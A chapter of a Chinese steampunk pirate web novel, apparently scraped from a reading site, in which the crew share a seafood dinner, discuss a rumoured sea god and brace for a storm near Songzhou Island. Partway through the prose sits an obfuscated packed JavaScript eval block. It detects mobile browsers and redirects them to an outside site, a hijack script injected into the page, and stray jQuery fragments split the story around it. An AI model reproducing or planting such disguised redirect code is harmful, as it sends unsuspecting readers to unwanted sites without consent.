自从上次和劫掠船擦肩而过之后，本来就有些神经质的汪执变得更加杯弓蛇影了起来。


    他有些不放心整天把酒当成水喝的叶麻，干脆自己爬上了瞭望塔，望远镜就没从独眼上摘下来过，就连吃饭都是让叶麻给他送上来。


    原本一直讨厌的一成不变的苍蓝大海，反而是让他心安。


    这两天偶然遇见一两艘隔了半个海面的商船都让汪执麻溜的站起身来看了又看，一直死死盯着对方，直到消失在了自己的视野之中，这才松口气。


    “还有一天路程，就要路过松洲岛了。”


    系着红格子围裙的蔡沅江端上来四菜一汤，放在桌子上后双手习惯性的擦了擦腰侧。


    靠海吃海，更别说他们这些住在海上的人，海盗船不是商船，不会考虑长时间出海而储备各种食物甚至活物，只会为了节约空间放置大量的肉干淡水和干粮。


    所以想要在船上吃上新鲜的肉类，那就只能是鱼虾蟹了。


    三个背鳍的狭鳕剔骨切成薄片，用滚烫热油一煎，出锅的时候撒上些用明火炙烤碾碎后的胡辣壳，简单的配上盐就是一道美味。


    油焖开背大虾色泽迷人，再来一个喷香扑鼻的盐焗螃蟹，最后是一道把巴掌长的鳀鱼用大勺背部碾碎熬成的一锅香浓奶白鱼汤，滤出了碎骨头和肉渣，一口下去鲜的掉眉毛。


    虽然这种做法多多少少损失了些食材原本的鲜味，但胜在可口，更何况清蒸白灼甚至生食在船上是极为普通的做法，能有着这种辛辣畅爽的稀罕口味调节，没人能够不爱。


    食指大动的齐青崖觉得身上的伤势都因为这几道色香味俱全的饭菜而好了不少。


    没忘了给汪执送饭的叶麻见着齐青崖和蔡沅江动了筷子，这才挑着给汪执装了一碗。


    然后打了声招呼以后就屁颠屁颠的跑上甲板，他倒一点都不担心自己回来晚了没得吃，毕竟蔡沅江准备的菜色不多，但是菜量足够大，主打一个管饱管够。


    “咱们可以稍稍缓一下时间，等到夜里的时候刚好可以在夜色掩护之下快速经过松洲岛。”


    汪执自告奋勇地当起了哨兵，蔡沅江便顺手接替了船长的位置。


    被蓝海商会把他一个人扔在双屿湾，不说十项全能，但只要是有关于船上的事情，不管大小那都是必备技能。


    “只要不耽误规划好的时间那就不碍事。”


    “崔佑真已经改造好了所有的蒸汽核心，速度比我们原先预想的要最起码快上两天，时间上是绝对没问题的。”


    说起来，崔佑真不知道为什么不肯跟着他们一起吃饭，反而是每次都和水手一起啃着肉干，吃着金老板储藏在大利号上的大量辣白菜。


    蔡沅江喊了两次，他仍旧不动容，也就作罢。


    毕竟这趟去高句丽半岛的航线上危险重重，他们都有任务在身，没必要在这种小事上浪费心力。


    “对了，你们所说的渤海海神是怎么回事？”


    第一次在黑旗酒吧和蔡沅江见面的时候他就说过这个话，后来在巨浪船厂和金老板也聊到了此事。


    齐青崖知道是那只拥有巨量心炁的变异蝠魟，但是对于流传在海盗之间的说法却是不太了解。


    “前段时间不管是什么船队，只要路过渤海外的那片海域就会莫名其妙的连船带人一起失踪，其中就有红旗帮的团队。”


    蔡沅江夹起一个大虾用嘴咬着，然后放下筷子，用手细细剥着，没忘吮了一口虾黄饱满的虾头。


    “然后他们便派了一艘红旗帮的双旗大船去查看情况，一去也渺无音讯，接应的人冒着风险在那片海域边缘游荡，只发现了一个浑身上下都没有任何伤口的，昏死在小船上的水手。”


    齐青崖留意到了蔡沅江说的话。


    “不过那个水手叫醒之后就已经疯了，嘴巴里面一直说着‘海神海神’，所以双屿湾便传开了关于海神的事迹。”


    “那个水手有心炁吗？”


    “一阶巅峰，红旗帮的双旗船选拔水手的最低标准也是一阶巅峰，其次便是需要精通水性，所以大多都是从小就生活在海边的渔民世家。”


    “自打小起就和海水打交道，更是供奉着各路海神，从他们嘴巴里说出来‘海神’这两个字，由不得人不信。”


    一阶心炁？


    蝠魟捕食浮游生物的特性注定了它不会放弃任何一点摄入能量的可能，当时自己不过二阶心炁都引来了蝠魟张嘴吞噬。


    齐青崖若有所思的抬起了头。


    他想了起来，被蝠魟吞入嘴里的三个北洋水师武官都是待在机甲之中，而机甲的燃仓里有着大量天水。


    这样看来，是不是只有自己的体内炉才会让蝠魟有所感应，而普通人的体内心炁则不会引起变异动物的注意？


    齐青崖想着，又动起了筷子。


    这事儿只是他的一个大胆猜想，想要证明的话还得验证。


    不过他现在哪怕拥有着可以遮蔽气息的雨水炉，但也不想再面对一次让人生不起半点抵抗心思的巨型蝠魟。


    那条仿佛可以劈开海水的尾鞭和深不见底的巨嘴是齐青崖从未体验到的剧烈压迫感。


    “不过打这件事之后


    ，红旗帮就十分蹊跷的收敛了许多，毕竟红旗帮的活动范围不仅仅只是靠着荣国海域的那一溜子，东洋南洋都有着他们的固定航线。”


    “而且东海上发生了这么大的事情，红旗帮要是想趁乱收编，哪还有黑旗帮什么事情。”


    作为九旗十八岛当之无愧的头号大寇，天保仔的一举一动都瞒不过众人的眼睛。


    齐青崖对于海盗的事情并不是特别感兴趣，于是记在了心里，嘴巴里没说话，而是连喝了三碗鱼汤，这才放下碗，毫不吝啬的夸了两句蔡沅江的厨艺。


    腼腆一笑的蔡沅江有些遗憾的啧了一声。


    “可惜少了点葱葱。”


    倒不是他故意说叠词，而是感慨的时候不小心说了家乡话。


    这时候送完饭的叶麻终于是回来了，他在蔡沅江说的不打理干净就不许上桌子的要求之下难得把自己乱糟糟的头发和胡子都剃了个干净。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13377855|141041||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    换上了一身原本大利号上的水手装扮，宽褂子，把阔腿，整个人利索了不少。


    总算是露出了他的原本面貌，蜡黄的皮肤，灯泡眼，脸上渗着常年风吹日晒的血丝，鼻子一点也不挺拔，嘴巴还带着点兔唇，丑的十分有特点。


    或许是尝到了头上无毛的甜头，现在洗脸的时候顺便就把整个脑袋都抹了个干净。


    个人卫生这方面一下子就追了上来。


    “汪直说今天晚上就要经过松州岛了，路过的船只多了起来，没必要再挨个盯了，一会儿吃完饭我上去换他下来。”


    “而且天色似乎有了些变化，得让水手们把船上甲板的东西固定起来。”


    叶麻见着齐青崖已经吃完了，一边嘿嘿笑着，一边不知道从哪儿拿出来一个绿瓶子装着的高丽清酒，咕噜咕噜喝了大半。


    对喝惯了高度酒的叶麻来说，这种淡的像是白开水一般的饮品正好拿在桌子上，让自己尝个酒味儿。


    毕竟一桌人只有他嗜酒如命，也不好让一开盖儿就有着浓厚焦香的朗姆酒影响了吃饭的其他人。


    长出了一口气，叶麻开口说道。


    “松洲岛附近的海域里面有着几处暗流需要特别注意，蔡先生辛苦了这几天，忙了一些脏活累活，正好让汪执接你的班，你也可以好好休息养伤。”


    虽然蔡沅江的手臂擦伤已经好的差不多了，但既然汪执愿意回来掌舵，他自然乐得轻松。


    于是便欣欣然的给自己盛了碗鱼汤，给叶麻剩了一小半。


    叶麻酒足，其他人饭饱，汪执也从瞭望台上滑了下来，开始指挥着刚刚吃完饭的水手们在甲板上忙了起来。


    贴近海面的夕阳就像是一个火红的熔点，把天空和海面焊在了一起，头顶宛如墨水般浓郁的化不开的乌云和像是鱼鳞般反射着点点星光的海浪格格不入。


    似乎拦在中间的太阳一旦沉入海平线，那酝酿已久的风暴便会肆无忌惮的在这片无人监管的海域上横冲直撞。


    “真他妈的是鬼天气，刚刚还万里无云。”


    汪执骂骂咧咧的让水手把能放进船舱的东西都搬了进去，再用粗麻绳固定起来。


    崔佑真也下到船舱，让蒸汽核心的冷却舱加满水，多少起到些稳定船身的作用。


    这种风浪在海上随处可见，按道理来说，以前一艘小帆船都走过来了的汪执不应该如此紧张，但不知道为什么，他的心里面总有一种不太妙的预感。


    或许以前是光脚的不怕穿鞋的，一艘帆船而已，被浪打碎就打碎了。


    而现在拥有的多了，反而患得患失了起来。


    “咱们快速通过松洲岛的计划估计要落空了，如此大的风浪下船身很不稳定，我们必须慢慢前行，要是卷到暗流里面去了，纵使是三根烟筒的鸡灵号也会被卷入海底。”


    汪执一脸严肃的对着蔡沅江说道，“不过这种天气下松洲岛的黑旗帮船只也不会出海，我们安心穿过风暴就好。”


    话音刚落，宛如枣核大小的雨滴便噼里啪啦的砸在了甲板上。